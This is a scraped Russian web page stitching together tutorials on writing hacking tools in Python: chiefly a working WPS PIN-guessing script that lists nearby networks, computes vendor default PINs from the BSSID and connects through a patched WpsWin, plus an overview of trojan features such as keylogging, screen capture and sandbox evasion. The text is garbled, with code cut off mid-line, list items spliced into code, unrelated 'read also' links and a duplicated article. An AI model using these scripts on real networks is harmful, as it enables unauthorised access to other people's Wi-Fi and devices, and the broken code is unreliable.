Как написать программу для взлома

Бывает, что возникает необходимость подключиться к Wi-Fi, не зная пароль, — скажем, когда ты сидишь в кафе и стесняешься спросить его или, например, когда тебя наняли, чтобы провести пентест сети организации. Технология WPS уже давно помогает хакерам и в том и в другом. В этой статье мы посмотрим, как самостоятельно реализовать атаку, основанную на слабостях алгоритмов генерации WPS PIN .

Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который позволяет за секунды установить безопасное соединение между устройством и роутером, минуя этап настройки шифрования и ввода пароля. Устройства подключаются по отдельному восьмизначному ключу WPS PIN , который состоит из цифр. Восьмая цифра — дайджест.

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни канал не несут ответственности за любой возможный вред, причиненный информацией из данной статьи. Несанкционированное получение доступа к чужим беспроводным сетям преследуется по закону!

КАК СОЗДАТЬ ПРОГРАММУ ДЛЯ ВЗЛОМА СЕРВЕРОВ ЗА 25 МИНУТ

Из всего разнообразия методов поблагодарить соседа взлома беспроводных точек доступа с WPS можно выделить следующие:

  • подбор ПИН-кода или ключа безопасности методом грубой силы;
  • использование уязвимостей реализации;
  • социальная инженерия;
  • использование слабостей генерации ПИН-кодов.

В этой статье мы остановимся на последнем методе из списка.

Атака WPS Pixie Dust уже морально устарела, однако и сегодня мне встречаются подверженные ей роутеры. Проблема кроется в генерации случайных чисел и позволяет не ломать все восемь цифр в лоб, а угадывать лишь четыре из них, так как оставшиеся можно получить из ответов роутера.

Откуда берут стандартный PIN

Когда мы покупаем роутер, в нем уже содержится полученный специальным алгоритмом WPS PIN для первичного подключения к маршрутизатору через WPS . WPS PIN состоит из восьми цифр. Как производители его получают? Очевидно, что необходимо нечто уникальное для идентификации и генерации различных значений. Правильно — это MAC устройства, который мы можем получить из широковещательного BSSID .

BSSID (Basic Service Set Identifier) — уникальный идентификатор беспроводной сети. Зачастую BSSID совпадает с адресом устройства Ethernet MAC .

Генерация WPS PIN на примере

Как ты уже понял, все начинается с BSSID. Подключаем к сети нашу точку доступа.

Анализируем любым удобным способом (например, Dumpper).

BSSID получен: C4:6E:1F:6A:8D:04.

Настало время приключений: открываем браузер и начинаем бороздить различные (в том числе зарубежные) сайты и форумы, чтобы узнать, как работают алгоритмы генерации ПИН-кодов у конкретного производителя сетевого оборудования. Если же лень сильнее интереса, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.

Предположим, мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC -адреса устройства: 24-bit PIN = MAC[7..12].

Вот реализация этого алгоритма на Python .

from math import floor
MAC = ‘C46E1F6A8D04’
One = Two = (int(MAC, 16)

  • Python 3 и выше;
  • удобная IDE;
  • любимый браузер;
  • личный маршрутизатор Wi-Fi с технологией WPS «для пыток»;
  • WpsWin (входит в состав того самого Dumpper);
  • IDA и Hex-Rays Tool.
  • СТИЛЛЕР WI-FI НА PYTHON

    Сразу, забегая вперед, скажу, что запускать готовый скрипт нужно будет с правами администратора. Можно с этим либо согласиться и перейти непосредственно к разработке, либо читать дальше.

    Автозапуск с правами администратора

    Для автозапуска мы будем использовать следующий код:

    import ctypes, sys
    if ctypes.windll.shell32.IsUserAnAdmin():
    if __name__ == «__main__»:
    main()
    else:
    ctypes.windll.shell32.ShellExecuteW(None, «runas», sys.executable, __file__, None, 1)

    Теперь при попытке запустить скрипт вызов будет передан на UAC (если активен) и откроется новое окно терминала, где наш код выполнится от имени администратора.

    Если такой вариант не устраивает, то всегда можно воспользоваться готовыми решениями.

    • pyuac — готовый скрипт для повышения прав в Windows
    • Bypassing Windows 10 UAC With Python — статья на ту же тему
    • How to run python script with elevated privilege on windows — разбор вопроса на Stack Overflow
    Читайте также:
    Логические функции в программе ms excel

    Разработка

    Прежде всего добавим алгоритм подсчета дайджеста MAC -адреса (он уже был выше):

    from math import floor
    def checksum(mac):
    mac %= 10000000
    var = 0
    temp = mac
    while temp:
    var += 3 * (temp % 10)
    temp = floor(temp / 10)
    var += temp % 10
    temp = floor(temp / 10)
    return (mac * 10) + ((10 — (var % 10)) % 10)

    А также несколько функций генерации заветных ПИН-кодов.

    Это далеко не полный список существующих алгоритмов, поэтому оставшиеся варианты будут твоим домашним заданием.

    def pin24(BSSID):
    temp = int(BSSID,16)

  • отыскать сообщения об успешных, неудачных и ошибочных результатах подключения;
  • пропатчить PE с целью сокращения тайм-аута на подключение к маршрутизатору.
  • Первая нужная функция находится по адресу 0x004012A0.

    Вторую можно найти по 0x00403370, а третья — это локальная метка основной функции.

    По дефолту время тайм-аута соединения с роутером равно девяноста секундам. Мы столько ждать не готовы, поэтому уменьшаем это время до (приблизительно) пяти секунд.

    Само значение передается аргументом второй, найденной нами функции.

    Патчим через «Edit → Patch program → Assemble…» и сохраняем.

    Подключение по WPS

    Продолжаем дописывать наш код. Запускаем WpsWin , передавая ему параметры для подключения к конкретной беспроводной сети, после чего благополучно перехватываем вывод и проверяем результат.

    import subprocess
    import sys
    from time import sleep

    def run_command(cmd):
    p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    for LINE in iter(p.stdout.readline, b»):
    if LINE:
    yield LINE
    while p.poll() is None:
    sleep(.1)
    err = p.stderr.read()
    if p.returncode != 0:
    print («» + err)

    def connect(ESSID, PIN):
    cmd = ‘WpsWin.exe Action=Registrar ESSID=»%s» PIN=%s’ % (ESSID, str(PIN))
    sleep(1)
    for LINE in run_command(cmd):
    LINE = LINE.decode(‘cp866’)
    if «Asociacion fallida» in LINE:
    print («Connection with %s hasn’t been established!» % ESSID)
    return
    elif «Pin incorrecto» in LINE:
    print(«Pin invalid!»)
    return
    elif «Wpa Key» in LINE:
    print(«nTRUE PIN FOUND!nGetting the Wi-Fi password. n»)
    print(LINE)
    sleep(5)
    input()
    sys.exit()

    К сожалению, WpsWin не позволяет отобразить список близлежащих сетей с поддержкой WPS , как это делает wash в Linux , а значит, нам остается реализовать эту функцию самим.

    import re
    def main():
    network = 0
    results = run_command(«netsh wlan show networks mode=bssid»)
    results = [i for i in results]
    ssids = []
    bssids = []
    for line in results:
    line = line.decode(‘cp866’)
    if «BSSID» in line:
    bssids.append(re.sub(‘BSSID [d]+:’, », line.strip()).strip())
    elif «SSID» in line:
    ssids.append(re.sub(‘SSID [d]+:’, », line.strip()).strip())
    i = 0
    print («Available wireless networks at the moment:n»)
    for j in ssids:
    i += 1
    print («%d — %s» % (i, j))
    while (network == «») or (int(network) < 1) or (int(network) >i):
    print
    network = input(«nChoose the wireless network > «)
    network = int(network) — 1
    macbssid = bssids[network].upper()
    mac = macbssid.replace(«:», «»).replace(«-«, «»).replace(» «, «»).replace(«.», «»)
    wifiname = ssids[network]

    Угадываем WPS PIN

    Еще несколько десятков кликов по клавиатуре, и код готов.

    algos = [pin24, pinDLink, pinDLinkInc1, pinASUS]
    for i in algos:
    pin = i(mac)
    print («nTrying connect to %s via %s technique with PIN: %s» % (wifiname,i.__name__,pin))
    connect(wifiname,pin)
    sleep(3)

    Тестирование утилиты

    Запускаем скрипт из терминала Windows. Выбираем беспроводную сеть. Профит!

    Источник: dzen.ru

    Это не перебор! Пишем утилиту для взлома Wi-Fi на Python

    Бывает, что возникает необходимость подключиться к Wi-Fi, не зная пароль, — скажем, когда ты сидишь в кафе и стесняешься спросить его или, например, когда тебя наняли, чтобы провести пентест сети организации. Технология WPS уже давно помогает хакерам и в том и в другом. В этой статье мы посмотрим, как самостоятельно реализовать атаку, основанную на слабостях алгоритмов генерации WPS PIN.

    Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который позволяет за секунды установить безопасное соединение между устройством и роутером, минуя этап настройки шифрования и ввода пароля. Устройства подключаются по отдельному восьмизначному ключу WPS PIN, который состоит из цифр. Восьмая цифра — дайджест.

    WARNING

    Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный информацией из данной статьи. Несанкционированное получение доступа к чужим беспроводным сетям преследуется по закону!

    Из всего разнообразия методов поблагодарить соседа взлома беспроводных точек доступа с WPS можно выделить следующие:

    • подбор ПИН-кода или ключа безопасности методом грубой силы;
    • использование уязвимостей реализации;
    • социальная инженерия;
    • использование слабостей генерации ПИН-кодов.
    Читайте также:
    Какая программа оживляет фотографии людей

    В этой статье мы остановимся на последнем методе из списка.

    INFO

    Атака WPS Pixie Dust уже морально устарела, однако и сегодня мне встречаются подверженные ей роутеры. Проблема кроется в генерации случайных чисел и позволяет не ломать все восемь цифр в лоб, а угадывать лишь четыре из них, так как оставшиеся можно получить из ответов роутера.

    Откуда берут стандартный PIN

    Когда мы покупаем роутер, в нем уже содержится полученный специальным алгоритмом WPS PIN для первичного подключения к маршрутизатору через WPS. WPS PIN состоит из восьми цифр. Как производители его получают? Очевидно, что необходимо нечто уникальное для идентификации и генерации различных значений. Правильно — это MAC устройства, который мы можем получить из широковещательного BSSID.

    INFO

    BSSID (Basic Service Set Identifier) — уникальный идентификатор беспроводной сети. Зачастую BSSID совпадает с адресом устройства Ethernet MAC.

    Генерация WPS PIN на примере

    Как ты уже понял, все начинается с BSSID. Подключаем к сети нашу сексуальную точку доступа. ¯_(ツ)_/¯

    Наш роутер с элементами легкой эротики

    Анализируем любым удобным способом (например, Dumpper).

    Dumpper внятным языком рассказывает нам о близлежащих беспроводных сетях

    BSSID получен: C4:6E:1F:6A:8D:04 .

    Настало время приключений: открываем браузер и начинаем бороздить различные (в том числе зарубежные) сайты и форумы, чтобы узнать, как работают алгоритмы генерации ПИН-кодов у конкретного производителя сетевого оборудования. Если же лень сильнее интереса, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.

    Предположим, мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC-адреса устройства: 24-bit PIN = MAC[7..12] .

    Вот реализация этого алгоритма на Python.

    from math import floor MAC = ‘C46E1F6A8D04’ One = Two = (int(MAC, 16)

  • Python 3 и выше;
  • удобная IDE;
  • любимый браузер;
  • личный маршрутизатор Wi-Fi с технологией WPS «для пыток»;
  • WpsWin (входит в состав того самого Dumpper);
  • IDA и Hex-Rays Tool.
  • Сразу, забегая вперед, скажу, что запускать готовый скрипт нужно будет с правами администратора. Можно с этим либо согласиться и перейти непосредственно к разработке, либо читать дальше.

    Присоединяйся к сообществу «Xakep.ru»!

    Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

    Источник: xakep.ru

    Как написать программу для взлома

    Троянские задачи на Windows

    1. Кейлогер с библиотекой PyHook позволяет фиксировать все действия с клавиатурой. Более того, есть возможность идентифицировать, какие процессы работают, когда пользователь нажимает клавиши. Например, можно понять, когда вводится никнейм, пароли или другая полезная информация.

    2. Создаем скриншоты экрана вашей мишени. Для этого потребуется установка пакета PyWin32 , который позволит делать нативные запросы в Windows API для захвата всего экрана устройства.

    3. Определяем песочницу антивирусника, чтобы случайно в нее не попасться. Простая программа на Питоне позволит понять, запущен ли ваш троян в песочнице. Она отследит, когда пользователь последний раз взаимодействовал с антивирусом, и соотнесет с тем, как долго тот был запущен.

    Подробнее с примерами кода – в Black Hat Python .

    Форензика с Python

    Часто для расследования инцидентов специалисту по кибербезопасности нужно получить снимок оперативной памяти поврежденной машины, чтобы, например, считать криптографические ключи.

    Для этой задачи есть Python-фреймворк Volatility (скачать можно здесь ). Он активно используется специалистами по реагированию, судебными экспертами и аналитиками вредоносного ПО для задач, вроде проверки объектов ядра, изучения и сброса процессов. Также Volatility применяют атакующие специалисты , чтобы усложнить процесс расследования совершенных ими нарушений.

    Повышение привилегий в Windows

    С языком программирования Python можно, например, создать простую программу для мониторинга процессов с WMI API; автоматически получить необходимые привилегии на процессы, которые вы отслеживаете; автоматически вставлять код в файлы-мишени.

    Подробнее с примерами кода – в Black Hat Python .

    Криптография

    Шифровать и расшифровывать текст можно и вручную. Python используется как один из инструментов для ускорения этого процесса.

    Чтобы зашифровать определенный текст, например, с помощью шифра Цезаря, на Python есть модуль pyperclip , который вам в этом поможет.

    Расшифровка происходит тоже с этим модулем. Поскольку в Цезаре ограниченное количество ключей (26), программа просто перебирает возможные варианты. Уже среди выдачи вы легко сможете определить ключ – напротив него будет понятный текст на английском, а не набор букв.

    Читайте также:
    Упрощается ли внесение изменений в чертеж при использовании программ компьютерной графики

    Конечно, язык программирования Python позволяет зашифровывать и расшифровывать и гораздо более сложные шифры.

    Подробнее – в книге: Hacking Secret Ciphers with Python . Все очень понятно объясняется и про криптографию, и про Python. Подойдет для новичков. От самых простых шифров к самым сложным с практическими примерами шифрования и расшифровки.

    Brute-force атака

    Когда у вас есть хешированный пароль и файл со всеми возможными паролями, Python поможет быстро найти пароль , который соответствует хешу (или его отсутствие в файле).

    🕵 Python для этичного хакинга: изучаем основы

    Сбор данных о мишени

    1. Существует очень много инструментов (например, xinit ) для получения информации об IP и номере телефона, но с парой библиотек Python вы можете это сделать самостоятельно .

    2. Модуль BeautifulSoup извлекает информацию из HTML и XML-файлов. Например, он он может достать все ссылки на странице. Здесь инструкция, как собрать все внутренние и внешние ссылки с веб-страницы и со всего сайта, а библиотека request-html извлечет со страницы все e-mail. Подробнее в туториале .

    3. Часто пентестерам нужно собрать и исследовать на уязвимости все субдомены конкретного сайта. С помощью библиотеки requests можно значительно ускорить эту задачу, автоматически перебрав все стандартные субдомены. Для этого потребуется загрузить файл с разными вариантами. Желательно, чтобы их было около 10 000 – это увеличит шансы найти существующие субдомены сайта, который вы исследуете.

    4. Зная Python, можно расширить возможности поиска по уязвимостям интернета вещей через Shodan API.

    5. Можно извлекать метаданные из фотографии (например, GPS, модель камеры, владелец, дата и время снимка) с помощью библиотеки Pillow .

    Анонимность

    1. Постоянно изменяемый mac-адрес.

    Mac-адрес назначается устройству производителем, и его нельзя поменять навсегда. С помощью Python есть возможность поменять mac-адрес на всю сессию работы. Чтобы не обновлять его вручную, Питон позволяет запустить цикл.

    2. На Питоне нетрудно создать программку, которая будет отслеживать, собирает ли сайт куки или идентификаторы сеанса. Сниппет можно найти среди шпаргалок для пентестеров.

    Что почитать

    Небольшой статьи мало, чтобы научиться по полной использовать язык программирования Python для пентеста и белого хакинга. Мы собрали для вас несколько стоящих источников для изучения.

    Python for hackers . Автор показывает основные виды атак с помощью Питона, а также объясняет, как их избежать. Описываются базовые принципы безопасного кода: все темы подкреплены практическими примерами на Python.

    Black Hat Python . Здесь покрываются темы расследования сетей, атаки веб-приложений и техники повышения привилегий в Windows. В книге вы также найдете домашние задания для саморазвития. Она подойдет как для начинающих – читать всю книгу, так и для программистов с опытом – просмотреть отдельные главы.

    Beginning ethical hacking with Python . Несмотря на название в книге мало описывается именно применение языка программирования Python в этичном хакинге. Она больше для новичков и в Питоне, и в кибербезопасности.

    Python Pentest Cheat Sheet – шпаргалка по Python для пентеста. Есть, например, сниппет для сбора всех ссылок с сайта (с помощью BeautifulSoup), сканирования портов с Nmap, а также программа, которая отслеживает, собирает ли сайт куки или идентификаторы сеанса.

    Automate the boring stuff with python . Простые примеры, как Python помогает ускорить обыденные действия, вроде открытия вкладок или поиска адреса на карте. В книге можно найти много решений для применения в пентесте, вроде анализа метаданных файлов или парсинга данных.

    Как научиться программировать на Python максимально быстро и качественно?

    В условиях повышенной конкуренции среди джунов, пойти учиться на курсы с преподавателями — самый прагматичный вариант, который позволит быстро и качественно освоить базовые навыки программирования и положить 5 проектов в портфолио. Преподаватель прокомментирует домашние задания, поделится полезными советами, когда надо подбодрит или даст «волшебного» пинка.

    На курсе «Основы программирования на Python» с преподавателем вы научитесь:

    • работать в двух интегрированных средах разработки — PyCharm и Jupyter Notebook;
    • парсить веб-страницы;
    • создавать ботов для Telegram и Instagram;
    • работать с данными для различных материалов и дальнейшего анализа;
    • тестировать код.

    Плюс положите 5 проектов в портфолио.

    Источник: proglib.io

    Рейтинг
    ( Пока оценок нет )
    Загрузка ...
    EFT-Soft.ru